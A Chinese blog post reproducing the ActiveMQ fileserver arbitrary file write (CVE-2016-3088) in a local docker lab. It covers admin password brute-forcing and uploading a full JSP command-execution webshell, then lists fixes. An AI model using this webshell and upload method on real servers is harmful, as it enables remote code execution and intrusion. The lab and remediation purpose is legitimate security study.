CVE-2016-3088(ActiveMQ任意文件写入漏洞)

漏洞描述

  1. 编号:CVE-2016-3088
  2. 影响版本:Apache ActiveMQ 5.x~5.14.0,5.12.x~5.13.x版本默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启)
  3. CVE地址:CVE-2016-3088/
  4. 漏洞原理:Apache ActiveMQ的web控制台分了三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api需要登录才能使用,fileserver无需登录,因此漏洞就出在fileserver中,但是fileserver不解析jsp,不过支持移动文件(MOVE请求)写入一个文件到fileserver文件夹,然后使用MOVE移动到任意位置,造成任意文件写入漏洞

复现

环境

windows本机的docker环境

步骤

启动环境

docker-compose up -d
docker ps

8161是web页面,61616是业务处理

漏洞利用

文件写入的几种方法:

1、写入webshell(fileserver不解析jsp,admin和api两个应用需要登录才能访问)

2、写入cron或ssh key等文件(可直接反弹shell,方便,但需要权限足够)

3、写入jar或jetty.xml等库和配置文件(前者需要jar的后门,后者需要activemq的绝对路径) 

尝试爆破管理员账号密码

抓包

 

 根据Authorization: Basic YWRtaW46amtqa2pr  base64解密得到账号密码是admin:jkjkjk

因此这里我自己新建了一个字典进行爆破目标字段,我用的是yakit,我的bur总出问题,麻烦,爆破过程不在赘述,事实证明是可以爆破出来的,这里可以参考这位大佬的博客

https://www.cnblogs.com/wushiyiwuzhong/p/17975730

解密得到账号密码为admin:admin

写入webshell

先登录进去方便后续操作

版本号可以看到,既然我们要上传webshell自然要知道路径和上传点,这里我们扫一下目录看看有没有相关信息

虽然没有扫完,但是已经扫出来了啊,/test目录

根目录在/opt/activemq下面,所以我们访问的目录是/opt/activemq/webapps/,上传的最终目录就是/opt/activemq/webapps/admin(aqi)

抓包改包上传jsp

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

上传成功,接下来将该目录移动到api目录下,也可以到admin只要能解析就行,现在就要用到/opt/activemq/webapps/admin/路径了

修复

  1. 升级至 5.14.0 及其以后版本
  2. 移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能
  3. 打补丁
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我是你彬哥

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值